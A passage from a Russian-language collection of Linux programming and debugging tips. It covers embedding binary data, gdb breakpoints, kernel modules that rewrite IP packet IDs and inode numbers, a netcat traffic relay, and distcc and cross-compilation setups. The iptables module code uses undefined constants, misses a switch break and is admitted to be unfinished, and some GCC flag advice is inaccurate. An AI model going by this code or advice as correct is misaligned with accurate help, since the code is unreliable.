    файлом, но я решил написать командами для наглядности процесса:
    
       g++ -c -g main.cpp
       g++ -g -o test main.o data.o
    
    
    Альтернативный вариант от посетителя maneken:
    
       __asm(
       ".global data_file\n"
       ".global _data_file\n"
       "data_file:\n"
       "_data_file:\n"
       ".incbin \"data.zip\"\n"
       ".global data_file_len\n"
       ".global _data_file_len\n"
       "data_file_len:\n"
       "_data_file_len:\n"
       ".int .-data_file \n"
       );
    
       extern void * data_file;
       extern void * data_file_len;
       unsigned char * data =(unsigned char *)&data_file;
       int * datalen =(int *) &data_file_len;
    
     
    ----* Оценка стоимости сборки Android 5 (x86-64) на облачных серверах Amazon EC2 (доп. ссылка 1)   Автор: Abylay Ospan  [комментарии]
     
    Краткая сводка по результатам тестирования: 
       сервер 4 CPU, 16GB RAM, время сборки: 04:35:30 стоимость: $1.15 
       сервер 16 CPU, 64GB RAM, время сборки: 01:12:02 стоимость: $1.21
       сервер 40 CPU, 160GB RAM, время сборки: 00:32:15 стоимость: $1.34
    
    По результам видно, что разница в цене всего 15%, но при этом время сборки
    уменьшается в 8-9 раз. Сборка проводилась в разное количество потоков (make -j X).
    
    Лучший результат показал вариант 'количество CPU * 2'. Исходные тексты Android
    были взяты из репозитория на http://www.android-x86.org/
    Сборка проводилась командами: 
    
       . build/envsetup.sh && lunch android_x86_64-eng && make -j X 
    
    ОС: Ubuntu 14.04.2 LTS, kernel 3.13.0-48-generic x86_64 CPU: Intel(R) Xeon(R)
    CPU E5-2676 v3 @ 2.40GHz HDD: SSD 160GB
    
     
    ----* Как собрать в новом GCC старую C++-программу, использующую iostream.h   [комментарии]
     
    В блоках #include следует заменить iostream.h и fstream.h на iostream и fstream
    (убрать ".h"). В начало файлов нужно добавить "using namespace std;", а при
    сборке в Makefile указать флаг "-fpermissive".
    
     
    ----* Внедрение точек останова gdb в исходный код (доп. ссылка 1)   Автор: glebiao  [комментарии]
     
    На github опубликован способ внедрения в исходный код точек останова для
    gdb, не влияющий на нормальное выполнение программы в отсутствие отладчика.
    Способ основан на размещении адреса локальной переменной в секции
    (embed-breakpoints линкера).
    
    
      #define EMBED_BREAKPOINT \\
        asm("0:"                              \\
            ".pushsection embed-breakpoints;" \\
            ".quad 0b;"                       \\
            ".popsection;")
    
       int main() {
           printf("Hello,\\n");
           EMBED_BREAKPOINT;
           printf("world!\\n");
           EMBED_BREAKPOINT;
           return 0;
       }
    
    Собираем враппер для gdb:
    
        sudo apt-get install binutils-dev
        git clone git://github.com/kmcallister/embedded-breakpoints.git
        cd embedded-breakpoints
        ./build.sh
    
    Собираем тестовое приложение и запускаем под управлением враппера к gdb:
    
       $ gcc -g -o example example.c
       $ ./gdb-with-breakpoints ./example
    
       Reading symbols from example...done.
       Breakpoint 1 at 0x4004f2: file example.c, line 8.
       Breakpoint 2 at 0x4004fc: file example.c, line 10.
    
       (gdb) run
    
       Starting program: example 
       Hello,
    
       Breakpoint 1, main () at example.c:8
       8           printf("world!\\n");
    
       (gdb) info breakpoints
    
       Num     Type           Disp Enb Address            What
       1       breakpoint     keep y   0x00000000004004f2 in main at   example.c:8
            breakpoint already hit 1 time
       2       breakpoint     keep y   0x00000000004004fc in main at example.c:10
    
    При выполнении напрямую и или в версии gdb без специального враппера точки
    останова никак не отражаются на работе программы.
    
     
    ----* Создание модуля для iptables, изменяющего ID пакета (доп. ссылка 1)   Автор: xlise  [комментарии]
     
    Данная статья основывается на материале "Разработка Match-модуля для iptables
    своими руками" (http://www.linuxjournal.com/article/7184), но код работает на
    ядрах 2.6.20+.
    
    Мне потребовалось изменить ID IP пакетов, в интернете подходящей инструкции как
    это сделать на ядре 2.6.24 я не нашел, из-за этого решил написать, как удалось
    решить задачу.
    
    Для реализации задуманного нам понадобится написать модуль ядра, который будет
    выполнять проверку и модуль расширения для iptables, который будет работать с
    модулем ядра - создавать новые цепочки,
    использующие наш модуль, выводить информацию о критерии при выводе списка
    правил на экран, а также проверять корректность передаваемых модулю параметров.
    
    Сначала создадим общий заголовочный файл ipt_ID.h:
    
       #ifndef _IPT_ID_H
       #define _IPT_ID_H
    
       enum {
           IPT_ID_RAND = 0,
           IPT_ID_INC
       };
    
       #define IPT_ID_MAXMODE  IPT_ID_INC
    
       struct ipt_ID_info {
           u_int8_t        mode;
           u_int16_t       id;
       };
    
       #endif
    
    Теперь скопируем его в исходники netfilter в директорию
    linux/netfilter_ipv4/
    
    Далее рассмотрим модуль ядра ipt_ID.с.
    
       #include <linux/module.h>
       #include <linux/skbuff.h>
       #include <linux/ip.h>
       #include <net/checksum.h>
       #include <linux/random.h>
       #include <linux/netfilter/x_tables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       MODULE_AUTHOR("Xlise <demonxlise@gmail.com>");
       MODULE_DESCRIPTION("Xtables: IPv4 ID field modification target");
       MODULE_LICENSE("GPL");
       static int count=0;
       static struct iphdr l_iph[5];
       static unsigned int
       id_tg(struct sk_buff *skb, const struct net_device *in,
            const struct net_device *out, unsigned int hooknum,
            const struct xt_target *target, const void *targinfo)
       {
             struct iphdr *iph;
             const struct ipt_ID_info *info = targinfo;
             u_int16_t new_id;
             int i=0;
             if (!skb_make_writable(skb, skb->len))
                     return NF_DROP;
    
             iph = ip_hdr(skb);
    
             switch (info->mode) {
                     case IPT_ID_RAND:
                             get_random_bytes(&info->id, sizeof(info->id));
                             new_id = info->id;
                             break;
                     case IPT_ID_INC:
    
    
       while (i<5)
       {
       if (l_iph[i].daddr == iph->daddr)
           {
           new_id = l_iph[i].id + htons(1);
           l_iph[i].id = new_id;
           }
    
       else
           {new_id = iph->id;
           l_iph[count] = *iph;
           count++;
           if (count > 4)
              count = 0;
           }
       i++;
       }
                     default:
                             new_id = iph->id;
                             break;
             }
    
             if (new_id != iph->id) {
                     csum_replace2(&iph->check, iph->id,
                                               new_id);
                     iph->id = new_id;
             }
    
             return XT_CONTINUE;
       }
    
       static bool
       id_tg_check(const char *tablename, const void *e,
                  const struct xt_target *target, void *targinfo,
                  unsigned int hook_mask)
       {
             const struct ipt_ID_info *info = targinfo;
    
             if (info->mode > IPT_ID_MAXMODE) {
                     printk(KERN_WARNING "ipt_ID: invalid or unknown Mode %u\n",
                             info->mode);
                     return false;
             }
             if (info->mode != IPT_ID_SET && info->id == 0)
                     return false;
             return true;
       }
    
       static struct xt_target id_tg_reg __read_mostly = {
             .name           = "ID",
             .family         = AF_INET,
             .target         = id_tg,
             .targetsize     = sizeof(struct ipt_ID_info),
             .table          = "mangle",
             .checkentry     = id_tg_check,
             .me             = THIS_MODULE,
       };
    
       static int __init id_tg_init(void)
       {
             return xt_register_target(&id_tg_reg);
       }
    
       static void __exit id_tg_exit(void)
       {
             xt_unregister_target(&id_tg_reg);
       }
    
       module_init(id_tg_init);
       module_exit(id_tg_exit);
    
    Напишем Makefile для нашего модуля:
    
       obj-m := ipt_ID.o
       KDIR  := /lib/modules/$(shell uname -r)/build
       PWD   := $(shell pwd)
       $(MAKE) -C $(KDIR) M=$(PWD) modules
    
    добавим модуль в ядро
    
       insmod ipt_ID.ko
    
    Для создания модуля для iptables нам потребуются исходники для iptables-1.4.4
    
    Создадим файл libipt_ID.c
    
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <getopt.h>
       #include <xtables.h>
       #include <linux/netfilter_ipv4/ipt_ID.h>
    
       #define IPT_ID_USED     1
    
       static void ID_help(void)
       {
           printf(
       "ID target options\n"
       "  --id-rand value              Set ID to \n"
       "  --id-inc value               Increment ID by \n");
       }
    
       static int ID_parse(int c, char **argv, int invert, unsigned int *flags,
                        const void *entry, struct xt_entry_target **target)
       {
           struct ipt_ID_info *info = (struct ipt_ID_info *) (*target)->data;
           u_int16_t value;
    
           if (*flags & IPT_ID_USED) {
                   xtables_error(PARAMETER_PROBLEM,
                                   "Can't specify ID option twice");
           }
    
           if (!optarg)
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: You must specify a value");
    
           if (xtables_check_inverse(optarg, &invert, NULL, 0))
                   xtables_error(PARAMETER_PROBLEM,
                                   "ID: unexpected `!'");
    
           if (!xtables_strtoui(optarg, NULL, &value, 0, UINT16_MAX))
                   xtables_error(PARAMETER_PROBLEM,
                              "ID: Expected value between 0 and 255");
    
           switch (c) {
    
                   case '1':
                           info->mode = IPT_ID_RAND;
                           break;
    
                   case '2':
                           if (value == 0) {
                                   xtables_error(PARAMETER_PROBLEM,
                                           "ID: increasing by 0?");
                           }
    
                           info->mode = IPT_ID_INC;
                           break;
    
                   default:
                           return 0;
    
           }
    
           info->id = value;
           *flags |= IPT_ID_USED;
    
           return 1;
       }
    
       static void ID_check(unsigned int flags)
       {
           if (!(flags & IPT_ID_USED))
                   xtables_error(PARAMETER_PROBLEM,
                                   "TTL: You must specify an action");
       }
    
       static void ID_save(const void *ip, const struct xt_entry_target *target)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("--id-set ");
                           break;
                   case IPT_ID_DEC:
                           printf("--id-dec ");
                           break;
    
                   case IPT_ID_INC:
                           printf("--id-inc ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static void ID_print(const void *ip, const struct xt_entry_target *target,
                         int numeric)
       {
           const struct ipt_ID_info *info =
                   (struct ipt_ID_info *) target->data;
    
           printf("ID ");
           switch (info->mode) {
                   case IPT_ID_SET:
                           printf("set to ");
                           break;
                   case IPT_ID_DEC:
                           printf("decrement by ");
                           break;
                   case IPT_ID_INC:
                           printf("increment by ");
                           break;
           }
           printf("%u ", info->id);
       }
    
       static const struct option ID_opts[] = {
           { "id-set", 1, NULL, '1' },
           { "id-inc", 1, NULL, '2' },
           { .name = NULL }
       };
    
       static struct xtables_target id_tg_reg = {
           .name           = "ID",
           .version        = XTABLES_VERSION,
           .family         = NFPROTO_IPV4,
           .size           = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .userspacesize  = XT_ALIGN(sizeof(struct ipt_ID_info)),
           .help           = ID_help,
           .parse          = ID_parse,
           .final_check    = ID_check,
           .print          = ID_print,
           .save           = ID_save,
           .extra_opts     = ID_opts,
       };
    
       void _init(void)
       {
           xtables_register_target(&id_tg_reg);
       }
    
    Далее скопируем файл ipt_ID.h в iptables-1.4.4/include/linux/netfilter_ipv4/ и
    файл libipt_ID.c в iptables-1.4.4/extensions/
    теперь скомпилируем iptables и скопируем файл
    iptables-1.4.4/extensions/libipt_ID.so в /lib/xtables/
    
    Теперь можно создавать цепочки в iptables
    
    пример:
    
       iptables -t mangle -A POSTROUTING -j ID --id-rand 1
    
    Будет выдавть всем пакетам случайные ID (единица в конце ничего не обозначает
    просто я не доделал модуль)
    
       iptables -t mangle -A POSTROUTING -j ID --id-inc 1
    
    Будет пакетам направленным на один IP присваивать ID постоянно увеличивая на
    единицу, может хранить в памяти пять таких цепочек (количество цепочек можно увеличить)
    
    P.S. Если кого интересует данная тема, то я доделаю статью и допишу модуль,
    просто пока всё работает и так не хочется ничего переделывать, но если нужно сделаю.
    
     
    ----* Как в программе на Си узнать от какого пользователя запущен активный экран   Автор: pavlinux  [комментарии]
     
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h> // strcmp
    #include <utmpx.h>
    
    #define XTTY  ":0"
    
    int main(void)
    {
        struct utmpx *entry;
    
        setutxent();
    
        while ( (entry = getutxent()) != NULL) {
             if ( !strcmp(entry->ut_line, XTTY) )
             printf("%s %s\n",entry->ut_line, entry->ut_user);
        }
        endutxent();
    return(EXIT_SUCCESS);
    }
    
     
    ----* Как указать GCC выводить предупреждения для бессмысленных сравнений (доп. ссылка 1)   Автор: Kir Kolyshkin  [комментарии]
     
    При сборке ниже представленного некорректного кода, gcc не выдает никаких
    предупреждений даже с -Wall, при этом указатель он приводит к unsigned, поэтому
    результат сравнения всегда ложен.
    
       if ((fp = fopen(file, "w")) < 0)
    
    Если написать:
    
       unsigned int a;
       if (a < 0)
       return 1;
       return 0;
    
    
    gcc опять не ругается и даже с -O0 генерирует код, который не делает никаких
    сравнений, а сразу возвращает результат. То есть знает, что сравнение
    бессмысленное, но молчит.
    
    Для того, чтобы gcc начал выводить предупреждения нужно указать -Wextra, тогда буде выведено:
    
       warning: comparison of unsigned expression < 0 is always false
    
    Вариант 2 (правильный):
    
       $ gcc -std=c99 -W
    
     
    ----* Изменение номера inode файла в Linux   Автор: Victor Leschuk  [комментарии]
     
    Для некоторых специфических целей может понадобиться изменить номер inode у существующего файла, 
    либо создать файл с заранее заданным номером. Штатными средствами сделать это -
    задача нетривиальная,
    однако с помощью модуля ядра это несложно. 
    
    Создаем файл inode_modify.c следующего содержания: 
    
     #include <linux/module.h>
     #include <linux/kernel.h>
     #include <linux/version.h>
    
     #include <linux/fs.h>
     #include <linux/namei.h>
    
     #ifndef BUF_LEN
     #define BUF_LEN 256
     #endif
    
     char file[BUF_LEN];
     unsigned long new_num=0;
    
     module_param_string( name, file, BUF_LEN, 0);
     module_param(new_num, ulong, 0);
    
    
     struct nameidata nd;
    
     unsigned long get_number() {
    	int error;
    	error = path_lookup( file, 0, &nd);
    	printk( KERN_ALERT "name = %s\n", file);
    	if(error) {
    		printk( KERN_ALERT "Can't access file\n");
    		return -1;
    	}
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
    
     unsigned long set_number(unsigned long new_num) {
     #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,25)
    	nd.path.dentry->d_inode->i_ino = new_num;
    	return nd.path.dentry->d_inode->i_ino;
     #else 
    	nd.dentry->d_inode->i_ino = new_num;
    	return nd.dentry->d_inode->i_ino;
     #endif
     }
     int inode_modify_init(){
    	unsigned long inode_num;
    	inode_num = get_number();
    	printk ( KERN_ALERT "Inode number is %lu\n", inode_num);
    	printk ( KERN_ALERT "New inode number is %lu\n",  set_number(new_num));
    	return 0;
     }
    
     void inode_modify_exit(){
    	printk(KERN_ALERT "Exiting...\n"); 
     }
    
     module_init(inode_modify_init);
     module_exit(inode_modify_exit);
    
     MODULE_LICENSE("GPL");
     MODULE_AUTHOR("Victor Leschuk <Victor.Leschuk@ebanat.com>");
    
    И простой Makefile: 
    
     obj-m := inode_modify.o
    
    После чего в директории с модулем: 
    
     $ make -C  /path/to/kernel/sources SUBDIRS=$PWD modules
    
    Здесь нужно помнить, что исходники и версия gcc должны соответствовать тем, 
    которые были использованы при сборке используемого ядра.
    
    Далее тестируем модуль: 
    
     $ touch /dev/shm/test
     $ ls -i /dev/shm/test
     172461 /dev/shm/test
     $ sudo insmod ./inode_modify.ko name=/dev/shm/test new_num=12345
     $ ls -i /dev/shm/test
     12345 /dev/shm/test
     $ sudo rmmod inode_modify 
     $ dmesg |tail
     name = /dev/shm/test
     Inode number is 172461
     New inode number is 12345
     Exiting...
    
     
    ----* Как отлаживать сетевые скрипты с помощью netcat (доп. ссылка 1)   Автор: Вячеслав  [комментарии]
     
       mkdir tmp
       cd tmp
       mkfifo sock1 sock2
       nc -l -p 8000 < sock1 | tee sock2 &
       nc 10.245.134.32 23 < sock2 | tee sock1
    
    Теперь вместо того, чтобы устанавливать соединение непосредственно с узлом 10.245.134.32:23, 
    делаем telnet на localhost:8000 из другой консоли на хосте home и наблюдаем
    проходящие данные внутри
    tcp-сессии в консоли, где выполняли команды.
    
    Для этой же цели подходит и утилита socat: 
       socat -v tcp4-l:8000 tcp4:yandex.ru:80
    
     
    ----* Отладка php скриптов на стороне сервера   Автор: Pavel Piatruk  [комментарии]
     
    Иногда пользовательские скрипты или зависают, или хотят соединиться с чем-то
    запрещенным в файрволе,
    или интерпретатор неожиданно вылетает, не передав заголовок Content-type, что
    приводит к ошибке 500.
    Для того, чтобы разобраться в причине, попробуем отладить скрипты со стороны сервера, 
    не залезая в код php. Сначала придется изменить конфигурацию apache, чтобы php
    работало через suphp,
    а не через модуль mod_php5. Я не буду рассказывать, как это делается. Главное, кроме обычного, 
    "неотладочного", надо добавить свой обработчик в suphp.conf:
    
    	x-httpd-php_debug=php:/usr/local/bin/php-cgi.sh
    
    А вот содержимое этого скрипта /usr/local/bin/php-cgi.sh. Поставьте ему права 755. 
    Видно, что он запускает отладчиком php с перенаправлением отладочной информации в файл.
    
    	#!/bin/bash
    	/usr/bin/strace /usr/bin/php5-cgi $@ 2>/tmp/debug
    
    Не забудьте добавить этот обработчик в конфиг apache , это делается строкой
    
    	suPHP_AddHandler x-httpd-php_debug
    
    Затем в .htaccess нужного сайта допишите
    	
    	AddHandler x-httpd-php_debug .php
    
    В результате после повторной загрузки сайта появится файл /tmp/debug, в который будет добавляться
    отладочная информация о работе php нужного сайта. В это время лучше ограничить посещение сайта, 
    разрешив только 1 IP адрес, чтобы отладочной информации не было чрезмерно. 
    Обычно будет достаточно имени системного вызова, который приводит к прекращению
    выполнения скрипта.
    Можно поиграться с параметрами strace.
    
     
    ----* Ускорение компиляции в Gentoo (доп. ссылка 1)   Автор: wildarcher7  [комментарии]
     
    В наличии два ПК, на которых установлен Gentoo Linux с одинаковой версией gcc (4.3.1).
    Так как компиляция из исходников в Gentoo необходима и компиляция отнимает некоторое время,
    хотелось бы сократить время сборки. На помощь приходит distcc и ccache.
    
    Всё описанное ниже нужно проделать на обоих ПК.
    
        emerge distcc ccache #установим distcc и ccache
    
    Две данные строчки появились в данной статье при помощи метода профессора Копи-Пастера:
    
        mv /root/.ccache  /root/snafu.ccache
        ln -s /var/tmp/ccache  /root/.ccache
    
        distcc-config --set-hosts "192.168.0.1 192.168.0.2" #перечислим ip адреса серверов distcc
        rc-update add distccd #
        /etc/init.d/distccd restart
        ccache -M 4G
    
    /etc/conf.d/distccd
    
        DISTCCD_OPTS="${DISTCCD_OPTS} -allow 192.168.0.0/24" #разрешим доступ для подсети
    
    настроим make.conf
    
        FEATURES="ccache distcc"
        CCACHE_DIR="/var/tmp/ccache"
        CCACHE_SIZE="4G" 
        DISTCC_HOSTS="192.168.0.1 192.168.0.2"
        DISTCC_DIR="/tmp/.distcc"
        #DISTCC_VERBOSE="1" #раз комментировать при желании лицезреть подробный отчет о проделанной работе distcc
    
    Источник http://wildarcher7.wordpress.com/
    
     
    ----* VMWare Workstation 6 для отладки ядра Linux (доп. ссылка 1)   Автор: Тарасенко Николай  [комментарии]
     
    Недавно была добавлена интересная особенность в Workstation 6.0, которая делает
    WS6 отличным средством
    для отладки ядра Linux. Теперь можно с легкостью отлаживать Linux VM на хосте при помощи gdb 
    без каких-либо изменений в Guest VM. Ни каких kdb, перекомпиляций или еще одной
    машины не требуется.
    Все что вам потребуется, так это всего одна строчка в VM'шном конфигурационном файле.
    
    Чтобы использовать новую особенность, необходимо достать последний билд WS6:
       http://www.vmware.com/products/beta/ws/
    
    Разместить в вашем Linux VM конфигурационном файле строчку:
    
       debugStub.listen.guest32=1
    
    Теперь, всякий раз, когда вы запускаете виртуальную машину, Вы будете видеть на хост консоле:
    
       VMware Workstation is listening for debug connection on port 8832.
    
    Запустите gdb на хосте, ссылаясь на ядро, для которого у Вас есть System.map и
    присоедините его к виртуальной машине:
    
       % gdb
       (gdb) file vmlinux-2.4.21-27.EL.debug
       (gdb) target remote localhost:8832
    
     
    ----* Как посмотреть причину генерации core файла в gdb (доп. ссылка 1)   [комментарии]
     
    программа - файл рухнувшей программы, собранной с включением отладочной информации
    core - файл с core
    
    $ gdb
    
    Указываем файл рухнувшей программы, собранной с включением отладочной информации
      (gdb) программа
    
    Указываем файл с core, будет показана причина и строка на которой приложение рухнуло
      (gdb) core core  
      (gdb) info thread
      (gdb) info shared
      (gdb) info locals
      (gdb) info files
      (gdb) info variables
      (gdb) help info
    
    Смотрим состояние стека до падения
      (gdb) backtrace 1
      (gdb) backtrace 2
      или просто    (gdb) backtrace
     
    Указываем номер фрейма который будем смотреть подробнее (показан как #N)
      (gdb) frame 0
    
    Смотрим состояние переменных (в примере - result)
      (gdb) info locals
      (gdb) print result
      (gdb) whatis result
    
    Полезно также посмотреть на выполнении какого системного вызова происходит сбой используя программы
     strace (http://strace.sourceforge.net), ltrace (для Linux) или ktrace и truss (входят в состав FreeBSD).
    
     
    ----* Как избавиться от линковки GNOME приложения с лишними библиотеками (доп. ссылка 1)   [комментарии]
     
    Собираем по умолчанию:
        readelf -d /usr/local/bin/gnome-terminal |grep NEEDED | wc -l
        52 - требуется 52 библиотеки.
    
    Устанавливаем флаг --as-needed:
        export CFLAGS = "-Os -s -Wl,--as-needed"
    
    После пересборки, требуется 21 реально необходимая для работы библиотека.
    
     
    ----* Обобщение используемых моделей ввода/вывода (доп. ссылка 1)   [обсудить]
     

    Стратегии организации ввода-вывода:

    1. Блокируемый I/O - после вызова read/write происходит блокировка до завершения операции, функция завершается только после принятия или передачи блока данных.
    2. Неблокируемый I/0 - функция завершается сразу, если данные не были приняты/отправлены возвращается код ошибки (т.е. нужно вызывать функции I/O в цикле пока не получим положительный результат).
    3. Мультиплексирование через select/poll - опрашиваем список состояния сокетов, перебирая состояния определяем сокеты готовые для приема/передачи. Главный минус - затраты на перебор, особенно при большом числе неактивных сокетов.
      • select - число контролируемых сокетов ограничено лимитом FD_SETSIZE, в некоторых случаях лимит обходится пересборкой программы, в других - пересборкой ядра ОС.
      • poll - нет лимита FD_SETSIZE, но менее эффективен из за большего размера передаваемой в ядро структуры.
    4. Генерация сигнала SIGIO при изменении состояния сокета (ошибка, есть данные для приема, или отправка завершена), который обрабатывает обработчик SIGIO. В классическом виде применение ограничено и трудоемко, подходит больше для UDP.
    5. Асинхронный I/O - описан в POSIX 1003.1b (aio_open, aio_write, aio_read...), функция aio_* завершается мгновенно, далее процесс сигнализируется о полном завершении операции ввода/вывода (в предыдущих пунктах процесс информировался о готовности прочитать или передать данные, т.е. данные еще нужно было принять или отправить через read/write, в aio_* процесс сигнализируется когда данные полностью получены и скопированы в локальный буфер).
    6. Передача данных об изменении состояния сокета через генерацию событий. (специфичные для определенных ОС решения, малопереносимы, но эффективны).


     
    ----* Как посмотреть какие файлы пытается открыть или выполнить программа   [комментарии]
     
    strace -f -o strace.txt -e execve программа
    strace -f -o strace.txt -e open,ioctl программа
    
     
    ----* Как посмотреть какие функции системных библиотек используются в программе   [комментарии]
     
    nm "объектный или запускной файл"
    Для работы nm нужна таблица символов, т.е. нельзя использовать после утилиты
    strip или ключа "-s" в gcc.
    
     
    ----* Как пропатчить приложение запускаемое через inetd для определения IP клиента.   Автор: uldus  [обсудить]
     
    Си:
       struct sockaddr_in addr_name;
       socklen_t addr_len;
       addr_len = sizeof(addr_name);
       bzero(&addr_name, sizeof(addr_name));
       if (getpeername(0, (struct sockaddr *)&addr_name, &addr_len) >= 0){                          
         // выводим адрес в printf через inet_ntoa(addr_name.sin_addr)
       } 
    
    Perl:
       use Socket;
       my $std_sockaddr = getpeername(STDIN);
       my $cur_ipaddr = "0.0.0.0";
       if (defined $std_sockaddr){
          my ($tmp_port, $tmp_iaddr) = sockaddr_in($std_sockaddr);
          $cur_ipaddr = inet_ntoa($tmp_iaddr);
       }
    
     
    ----* Какие параметры указать GCC для оптимизации. (доп. ссылка 1)   [комментарии]
     
    -O6 - полная оптимизация (по умолчанию часто стоит -O2).
    -fomit-frame-pointer -использовать стек для доступа к переменным.
    -march=i686 -mcpu=i686 -DARCH=k6 -DCPU=k6 - оптимизация под CPU (586, 686,k5,k6,k7,athlon,pentiumpro).
    -ffast-math -funroll-loops
    
     
    ----* Как узнать какие динамические библиотеки прилинкованы к программе   [комментарии]
     
    ldd файл
    
     
    ----* Сборка хелловорлда под 17 платформ одним скриптом   Автор: Урри  [комментарии]
     
    Понадобилось настроить и запустить на сторонней машине автоматизированную
    сборку (и автотесты) своего кода сразу под ARM, MIPS, x86 и PowerPC - решил
    заодно поделиться с местным сообществом.
    
    Сейчас будет про автоматическую сборку. Про тестирование будет отдельно.
    
    Хотите собрать свой хелловорлд сразу под 17 (29 вариантов сборки, так как почти
    каждая платформа идёт в двух вариантах: libc и musl)? Если да - внизу шаги.
    
    Сборка осуществляется с помощью сборочного инструментарий void-linux, за что им
    огромное спасибо - работа проделана огромная.
    
    Рецепт описывается простой и последовательный. Желающие сделать что-то
    нестандартное или разнообразить секс^Wпроцесс сборки идут читать инструкцию на
    гитхаб, она не слишком большая и вполне понятная.
    
    Вот, что нам надо:
    
    
  • Linux, любой (я использую Mint),
  • Git (им будем ставить тулчейны для сборки исходных текстов),
  • 20+ ГБ на диске (у меня выделенный SSD, хотя все равно долго получается). Все остальное автоматически доставится в процессе. Шаг 1: xbps Собираем xbps: $ git clone --depth 1 https://github.com/void-linux/xbps $ cd xbps $ ./configure --enable-rpath --prefix=/usr --sysconfdir=/etc $ make Ставим его в отдельный каталог, не замусоривая систему (пусть это будет каталог ~/xbps-git) $ make DESTDIR=~/xbps-git install clean Прекрасно, базовый инструментарий готов. Добавляем путь к xbps в PATH (потом это же сделаем в скрипте) $ export PATH=~/xbps-git/usr/bin:$PATH Шаг 2: сборочный инструментарий void-linux. Забираем инструментарий: $ git clone --depth 1 https://github.com/void-linux/void-packages $ cd void-packages Не забываем про PATH к xbps, который прописали раньше (export PATH=~/xbps-git/usr/bin:$PATH) Доставляем локально недостающие детали: $ ./xbps-src binary-bootstrap Шаг 3: готовим свой код к сборке Ваш код, само собой, лежит где-то на гитхабе (гитлабе, дома) и у него проставлен тег "1.0". В каталоге srcpkgs создаем свой подкаталог с любым именем (у нас будет helloworld) В созданном каталоге размещаем вот такой текстовый файл "template": # Template file for 'helloworld' pkgname=helloworld version=1.0 revision=1 build_style=gnu-makefile hostmakedepends="xxd" short_desc="Hello World" maintainer="superpuperprogrammer <superpuperprogrammer@gmail.com>" license="MIT" homepage="https://superpuperprogrammer.github.io/" distfiles="https://github.com/superpuperprogrammer/helloworld/archive/${version}.tar.gz" checksum=b5...............f1 do_check() { make check } post_install() { vlicense LICENSE } "xxd" в зависимостях просто так - впишите своё, если надо; адрес архива с кодом вписываете свой, в примере гитхаб по тегу; checksum получаете запустив "sha256sum 1.0.tar.gz"; "make check" можете исключить, но с ним интереснее. Шаг 4, последний. Собираем. На выбор есть много платформ/архитектур, вот их список: x86_64-musl aarch64-musl aarch64 armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l i686-musl i686 mipselhf-musl mipsel-musl mipshf-musl mips-musl ppc64le-musl ppc64le ppc64-musl ppc64 ppcle-musl ppcle ppc-musl ppc. Впечатляет? Собираем так: $ ./xbps-src -a armv7hf-musl -C pkg helloworld Вместо armv7hf-musl подставляете нужную платформу из списка. В процессе xbps-src сам доставит отсутствующий тулчейн и сам запустит сборку. Берите пиво, колу, чай (что вы пьете) и наблюдайте логи. Лично я делаю скриптом: for arch in x86_64-musl \\ aarch64-musl aarch64 \\ armv5tel-musl armv5tel armv5te-musl armv5te armv6hf-musl armv6hf armv6l-musl armv6l armv7hf-musl armv7hf armv7l-musl armv7l \\ i686-musl i686 \\ mipselhf-musl mipsel-musl mipshf-musl mips-musl \\ ppc64le-musl ppc64le ppc64-musl ppc64 \\ ppcle-musl ppcle \\ ppc-musl ppc do ./xbps-src -a $arch clean helloworld ./xbps-src -a $arch -C pkg helloworld || exit $? done Пока все. Автоматическое тестирование всех этих платформ/архитектур не вставая с кресла и не создавая сорок виртуалок будет в следующем совете - https://www.opennet.ru/tips/3201_helloworld_build_compile_libc_musl.shtml
  •  
    ----* Компиляция приложений с поддержкой OpenCL без закрытых драйверов   Автор: Аноним  [комментарии]
     
    При сборке Wine не для личного использования, а чтобы распространять сборки, я
    столкнулся с проблемой. С какой реализацией OpenCL линковать? NVIDIA, AMD,
    Intel, Mesa? Ответ - FreeOCL!
    
    На самом деле, не важно с чем линковать. У всех известных мне реализаций
    OpenCL, сама библиотека libOpenCL.so.1 занимает  около 30 Кб.
    Оказывается, внутри этой библиотеки ничего нет. Сам OpenCL находится в другой
    библиотеке (например в libatiocl64.so - см.
    /etc/OpenCL/vendors/*.icd для подробностей). Однако залить
    проприетарный драйвер в OBS-репозиторий я не могу, так как закрытый код.
    Остаётся только Mesa и FreeOCL.
    
    FreeOCL это программная реализация OpenCL, написанная на C++, и имеющая у
    себя в зависимостях libatomic_ops - а LLVM не имеющая. Установив в систему
    FreeOCL и opencl-headers, я успешно собрал Wine. Причём
    Wine линкуется только с OPENCL_1.0, что не помешало конечному софту,
    запущенному в Wine, успешно задействовать расширения 1.2 и 2.0.
    
    В общем, рекомендую всем, кто до сих пор собирает с AMD APP SDK 3.0, перейти на
    FreeOCL. Я попробовал скомпилировать весь известный мне OpenCL-софт при помощи
    FreeOCL, а затем запустить на NVIDIA и AMD - всё работает безупречно. Не
    падает, не отказывается стартовать, и демонстрирует ровно ту же скорость работы.
    
    P.S. Бинарник получает зависимость от libOpenCL.so.1 (параметр
    -lOpenCL), а пакет RPM или DEB также получает от pkg-config ещё
    несколько зависимостей:
    
       libOpenCL.so.1(OPENCL_1.0)(64bit)
       libOpenCL.so.1(OPENCL_1.1)(64bit)
       libOpenCL.so.1(OPENCL_1.2)(64bit)
       libOpenCL.so.1(OPENCL_2.0)(64bit)
    
    Поэтому если вы собираете пакеты, а не просто tar.gz архив с программой,
    рекомендую пропатчить FreeOCL патчем
    freeocl-0.3.6-disable-symbol-versioning.patch. В этом случае, пакет получит
    зависимость только от libOpenCL.so.1()(64bit). Например в моей
    системе в пакете NVIDIA 340.xx нет "версионинга" OpenCL, а в 390.xx
    он есть. Вследствие чего, пакет не хотел устанавливаться, но после force
    install - работал.
    
     

       Perl

    ----* 10 полезных опций для написания однострочников на языке Perl (доп. ссылка 1)   [комментарии]
     
    В простейших случаях perl можно использовать в командной строке как замену grep и sed, например:
